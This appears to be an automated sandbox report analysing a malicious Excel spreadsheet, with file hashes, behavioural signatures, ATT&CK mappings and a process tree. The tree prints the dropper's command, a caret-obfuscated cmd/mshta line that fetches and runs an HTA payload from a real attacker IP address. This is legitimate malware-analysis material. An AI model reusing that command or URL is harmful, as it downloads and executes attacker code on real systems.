097e10a10fddb3bfba40ec406265b8f55c7edc55d3187b87fc5c0c84631278d9

General

Target

2022-1-28-f70181635b6321d67b82173c43965aff.xls
Size

46KB
MD5

f70181635b6321d67b82173c43965aff
SHA1

6adbbe2c6242758948ea7c07848102c4eb714e60
SHA256

097e10a10fddb3bfba40ec406265b8f55c7edc55d3187b87fc5c0c84631278d9
SHA512

7dd971aa1e2692f2d3a7cf6982e98f4daaa8baf4d98b8a40ac37d43c0f88f47fc42f20327d5276805783706e6a23b312180f3fde9faf2fa6e5eeb7c4b1421d05

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3248	2708	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

15 2956 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1804 2956 WerFault.exe mshta.exe

flow	pid	process
15	2956	mshta.exe

pid	pid_target	process	target process
1804	2956	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2708 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 1804 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1804	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE
2708	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 2708 wrote to memory of 3248	2708	EXCEL.EXE	CMD.EXE
PID 2708 wrote to memory of 3248	2708	EXCEL.EXE	CMD.EXE
PID 3248 wrote to memory of 2956	3248	CMD.EXE	mshta.exe
PID 3248 wrote to memory of 2956	3248	CMD.EXE	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-f70181635b6321d67b82173c43965aff.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2708

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3248

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
PID:2956

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2956 -s 1656
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1804

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2708-115-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/2708-116-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/2708-117-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/2708-118-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/2708-121-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/2708-128-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp

Filesize
64KB

Download
memory/2708-129-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads